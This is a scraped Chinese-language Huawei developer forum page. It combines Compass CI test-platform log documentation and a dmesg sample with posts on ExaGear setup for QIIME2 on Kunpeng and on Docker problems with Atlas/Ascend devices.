.container/hostname/dc-8g.taishan200-2280-2s48p-256g--a70-9","testbox":"dc-8g.taishan200-2280-2s48p-256g--a70-9","job_id":"z9. {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:47.477+0800","from":"172.17.0.1:44714","message":"access_record","statu trd_tmpfs/z9.13283216/job.cgz","job_id":"z9.13283216","job_state":"download","api":"job_initrd_tmpfs","elapsed_time":0.581944, The dc-8g testbox is starting. Please wait about 30 seconds {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:52+0800","mac":"02-42-ac-11-00-03","ip":"","job_id":"z9.13283216","stat s48p-256g--a70-9","status_code":200,"method":"GET","resource":"/~lkp/cgi-bin/lkp-wtmp?tbox_name=dc-8g.taishan200-2280-2s48p-25 -03&ip=&job_id=z9.13283216","api":"lkp-wtmp","elapsed_time":75.77575,"elapsed":"75.78ms"} {"level_num":2,"level":"INFO","time":"2022-01-06T16:19:47.968+0800","from":"172.17.0.1:38220","message":"access_record","statu i-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13283216&job_state=running","job_id":"z9.13283216","ap .933762,"elapsed":"5447.93ms","job_state":"running","job_stage":"running"} ``` ### serial-logging服务 - 功能 在job的结果目录下生成dmesg文件 - 数据来源 master-fluentd转存到rabbitmq的串口日志 - 代码 $CCI_SRC/src/monitoring/parse_serial_logs.cr - 示例: ``` wuzhende@z9 /srv/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603% ll total 1.1M -rw-r--r-- 1 lkp lkp 3.4K 2022-01-19 23:59 job.yaml -rwxrwxr-x 1 lkp lkp 4.1K 2022-01-19 23:59 job.sh -rw-rw-r-- 1 lkp lkp 1.4K 2022-01-20 00:00 time-debug -rw-rw-r-- 1 lkp lkp 860 2022-01-20 00:00 stdout -rw-rw-r-- 1 lkp lkp 373 2022-01-20 00:00 stderr -rw-rw-r-- 1 lkp lkp 33 2022-01-20 00:00 program_list -rw-rw-r-- 1 lkp lkp 1.4K 2022-01-20 00:00 output -rw-rw-r-- 1 lkp lkp 3.3K 2022-01-20 00:00 meminfo.gz -rw-rw-r-- 1 lkp lkp 43 2022-01-20 00:00 last_state -rw-rw-r-- 1 lkp lkp 634 2022-01-20 00:00 heartbeat -rw-rw-r-- 1 lkp lkp 218 2022-01-20 00:00 build-pkg -rw-rw-r-- 1 lkp lkp 24 2022-01-20 00:00 boot-time -rw-rw-r-- 1 root lkp 481 2022-01-20 00:00 stderr.json -rw-rw-r-- 1 root lkp 2.7K 2022-01-20 00:00 meminfo.json.gz -rw-rw-r-- 1 root lkp 3.7K 2022-01-20 00:00 dmesg -rw-rw-r-- 1 root lkp 97 2022-01-20 00:00 last_state.json -rw-rw-r-- 1 root lkp 1.5K 2022-01-20 00:00 stats.json wuzhende@z9 /srv/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603% cat dmesg 2022-01-19 23:59:56 starting DOCKER http://172.168.131.2:3000/job_initrd_tmpfs/z9.13368603/job.cgz http://172.168.131.2:8800/upload-files/lkp-tests/aarch64/v2021.09.23.cgz http://172.168.131.2:8800/upload-files/lkp-tests/e9/e94df9bd6a2a9143ebffde853c79ed18.cgz 2022-01-20 00:00:00 [INFO] -- Kernel tests: Boot OK! % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2130 100 2130 0 0 2080k 0 --:--:-- --:--:-- --:--:-- 2080k System has not been booted with systemd as init system (PID 1). Can't operate. Failed to connect to bus: Host is down System has not been booted with systemd as init system (PID 1). Can't operate. Failed to connect to bus: Host is down /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-wtmp?tbox_name=dc-16g.taishan200-2280-2s48p-256g--a103-0&tbox_state=running&mac=02-42-ac-11-00-09&ip=172.17.0.9&job_id=z9.13368603 -O /dev/null download http://172.168.131.2:8800/initrd/pkg/container/openeuler/aarch64/20.03-pre/build-pkg/4.3.90-1.cgz /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:8800/initrd/pkg/container/openeuler/aarch64/20.03-pre/build-pkg/4.3.90-1.cgz -O /tmp/tmp.cgz 3193 blocks /lkp/lkp/src/bin/run-lkp RESULT_ROOT=/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603 job=/lkp/scheduled/job.yaml result_service: raw_upload, RESULT_MNT: /172.168.131.2/result, RESULT_ROOT: /172.168.131.2/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603, TMP_RESULT_ROOT: /tmp/lkp/result run-job /lkp/scheduled/job.yaml /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&job_state=running -O /dev/null which: no time in (/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/lkp/lkp/src/bin:/lkp/lkp/src/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/lkp/lkp/src/bin:/lkp/lkp/src/sbin) ==> Making package: java-testng 7.4.0-1 (Thu Jan 20 00:00:04 CST 2022) ==> Checking runtime dependencies... ==> Checking buildtime dependencies... ==> Retrieving sources... -> Downloading java-testng-7.4.0.tar.gz... curl: (7) Failed to connect to github.com port 443: Connection timed out ==> ERROR: Failure while downloading java-testng-7.4.0.tar.gz Aborting... /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&job_state=post_run -O /dev/null kill 142 vmstat --timestamp -n 10 wait for background processes: 144 meminfo /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&loadavg=1.87%201.87%201.66%202/2191%20477&start_time=1642608003&end_time=1642608036&& -O /dev/null /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&job_state=failed -O /dev/null /lkp/scheduled/job.sh: line 133: /lkp/scheduled/job.yaml: Permission denied /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-post-run?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603 -O /dev/null LKP: exiting Total DOCKER duration: 0.82 minutes ```
  • [HPC] ExaGear二进制转码工具 安装验证Qiime2
    1 介绍QIIME 2 是一个功能强大、可扩展且分散的微生物组分析包,专注于数据和分析透明度。QIIME 2 使研究人员能够从原始 DNA 序列数据开始分析,并以出版质量的数字和统计结果结束。主要特点:•     数据来源的集成和自动跟踪•     语义类型系统•     用于扩展微生物组分析功能的插件系统•     支持多种类型的用户界面(例如 API、命令行、图形)QIIME 2 是对QIIME 1微生物组分析流程的完全重新设计和重写。QIIME 2 将解决 QIIME 1 的许多限制,同时保留使 QIIME 1 成为强大且广泛使用的分析管道的功能。语言:Python一句话描述:一个功能强大、可扩展且分散的微生物组分析包。开源协议:A permissive license similar to the BSD 2-Clause License建议的版本建议使用版本为“qiime2-2021.11”。2 环境要求硬件要求硬件要求如表2-1所示。表2-1 硬件要求项目说明CPUKunpeng 920 软件要求软件要求如表2-2所示。表2-2 软件要求项目版本下载地址Exagear1.2.1.1https://mirrors.huaweicloud.com/kunpeng/archive/ExaGear/ExaGear_1.2.1.1.tar.gz 操作系统要求操作系统要求如表2-3所示。表2-3 操作系统要求项目版本下载地址CentOS7.6https://www.centos.org/download/Kernel4.14https://www.centos.org/download/3 移植规划数据本章节给出qiime2软件在移植过程中涉及到的相关软件安装规划路径的用途及详细说明。表3-1 移植规划数据序号软件安装规划路径用途说明1-基础环境搭建中的各安装包安装路径。参考《HPC解决方案 基础环境搭建指导书》中“安装规划数据”章节。2/path/to/qiime2qiime2的安装规划路径。默认是在docker容器中进行这里的安装规划路径只是一个举例说明,建议部署在共享路径中。现网需要根据实际情况调整,后续章节凡是遇到安装路径的命令,都以现网实际规划的安装路径为准进行替换,不再单独说明。4 配置编译环境前提条件使用SFTP工具将各安装包上传至服务器对应目录下。配置流程表4-1 配置流程序号配置项说明1基础环境搭建参考《HPC解决方案 基础环境搭建指导书》中“安装规划数据”章节。2修改PAGE_SIZE参考4.1修改PAGE_SIZE为4KB3安装Exagear for docker参考4.3安装Exagear for docker 4.1 修改PAGE_SIZE为4KB操作步骤                                步骤 1     使用PuTTY工具,以root用户登录服务器。                                步骤 2     执行以下命令创建工作组。groupadd mockbuilduseradd mockbuild -g mockbuild                                步骤 3     执行以下命令下载包(需找到对应的系统和内核)。wget https://vault.centos.org/7.6.1810/os/Source/SPackages/kernel-alt-4.14.0-115.el7a.0.1.src.rpm                                步骤 4     安装相关依赖。yum -y install gcc bc gcc-c++ ncurses ncurses-devel cmake elfutils-libelf-devel openssl-devel                                步骤 5     安装rpm包。rpm -ivh kernel-alt-4.14.0-115.el7a.0.1.src.rpm注:安装完成后rpm构建工程自动部署在/root/rpmbuild/SPECS/root/rpmbuild/SOURCES                                步骤 6     rpmbuild 构建。cd /root/rpmbuild/ SOURCEStar zvf linux-XXXXX.tar.gzcd linux-XXXXXmake mrpropermake menuconfig选择Kernel Features-->Page size (64KB)--> Page size (4KB) 保存 #Page size调整为4K。                                步骤 7     修改.configvim .config1、在CONFIG_SYSTEM_TRUSTED_KEYS参数前面添加#,将参数这行注释掉2、修改以下参数CONFIG_ARM64_VA_BITS_48=yCONFIG_ARM64_VA_BITS=48                                步骤 8     编译内核make -j 64make modules_installmake install                                步骤 9     生成系统启动引导配置参数grub2-mkconfig -o /boot/grub2/grub.cfg                             步骤 10     重启机器,进入iBMC选择对应的内核进入系统。                             步骤 11     验证是否修改成功。getconf PAGE_SIZE回显信息为:4096----结束4.2 安装docker操作步骤                                步骤 1     使用PuTTY工具,以root用户登录服务器。                                步骤 2     执行以下命令下载yum-utils包。yum install -y yum-utils                                步骤 3     执行以下命令添加docker储存库。yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo注:若由于证书原因添加不成功,可在/etc/yum.conf文件中加上“sslverify=false”后再添加                                步骤 4     执行以下命令安装docker。yum install docker-ce docker-ce-cli containerd.io                                步骤 5     执行以下命令启动docker。systemctl start docker                                步骤 6     通过运行hello-world 映像验证 Docker Engine 是否已正确安装。docker run hello-world回显信息如下:----结束4.3 安装Exagear for docker操作步骤                                步骤 1     使用PuTTY工具,以root用户登录服务器。                                步骤 2     执行以下命令下载Exagear安装包。wget https://mirrors.huaweicloud.com/kunpeng/archive/ExaGear/ExaGear_1.2.1.1.tar.gz                                步骤 3     执行以下命令解压安装包。tar xvf ExaGear_1.2.1.1.tar.gz                                步骤 4     安装ExaGear for docker on CentOS with 4KB该发布件由五个包组成:exagear-core-x64a64-container-<package_version>.aarch64.rpmexagear-core-x32a64-container-<package_version>.aarch64.rpmexagear-utils-<package_version>.noarch.rpmyum install exagear-core-x64a64-container-<package_version>.aarch64.rpm exagear-core-x32a64-container-<package_version>.aarch64.rpm exagear-utils-<package_version>.noarch.rpm回显信息如下则安装成功:----结束 5 获取源码操作步骤                                步骤 1     使用PuTTY工具,以root用户登录服务器。                                步骤 2     制作X86容器的qiime2镜像包。下载x86容器镜像到x86系统上,并将其拷贝到你将要用ExaGear运行容器的ARM64主机系统,在安装有docker的x86机器上进行如下操作:docker pull quay.io/qiime2/core:2021.11 && docker save quay.io/qiime2/core:2021.11 > qiime2.tar.gz                                步骤 3     将qiime2.tar.gz 拷贝至ARM64主机系统上.。                                步骤 4     将x86容器镜像加载到ARM64主机系统上的ARM64 docker中。docker load < qiime2.tar.gz                                步骤 5     执行以下命令验证是否加载成功。docker images回显信息如下,则加载成功----结束6 编译和安装操作步骤                                步骤 1     使用PuTTY工具,以root用户登录服务器。                                步骤 2     执行以下命令进入qiime2环境。docker run -it quay.io/qiime2/core:2021.11回显信息如下,则进入成功。--结束7 运行和验证操作步骤                                步骤 1     使用PuTTY工具,以root用户登录服务器。                                步骤 2     执行以下命令验证:qiime --help回显信息如下,则验证成功: ----结束8 更多资源qiime2官网:docs.qiime2.org/2021.119 修订记录 
  • [问题求助] Atlas200 部署到docker上运行报aclrtGetDeviceCount failed 507000
    【功能模块】在主机上运行一切正常的,制作成镜像放docker上运行就出问题。环境变量和库都没问题的。程序初始化YOLO就报错了。弄了三四天了还没解决,求大佬指点一下。【操作步骤&问题现象】1、docker run命令:docker run -it --device=/dev/ascend_manager --device=/dev/davinci0 --device=/dev/davinci_manager --device=/dev/svm0 --device=/dev/log_drv --device=/dev/event_sched --device=/dev/upgrade --device=/dev/hi_dvpp --device=/dev/memory_bandwidth --device=/dev/ts_aisle -v /usr/lib64:/usr/lib64 -v /usr/:/usr/ -v /lib/:/lib/ -v /root/:/root/ --net=host --name=ai_scan_TEST ai_scan:v1.0 bash2、【截图信息】【日志信息】(可选,上传日志内容或者附件)
  • [Atlas500] docker拉流失败
    Error response from daemon: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io on 0.0.0.0:53: read udp 127.0.0.1:34733->127.0.0.1:53: read: connection refused怎么解决一下?
  • [Atlas300] 创建容器时如何使用 Ascend Docker Runtime
    问题:[MindX ToolBox](https://support.huawei.com/enterprise/zh/doc/EDOC1100209584?idPath=23710424%7C251366513%7C22892968%7C252501207) 的 Ascend-Docker-Runtime 如何使用? 我知道 [NVIDIA container Runtime](https://github.com/NVIDIA/nvidia-container-runtime) 通过环境变量 **NVIDIA_VISIBLE_DEVICES** 来判断向 Container 注入的资源。Ascend-Docker-Runtime 是如何工作的呢?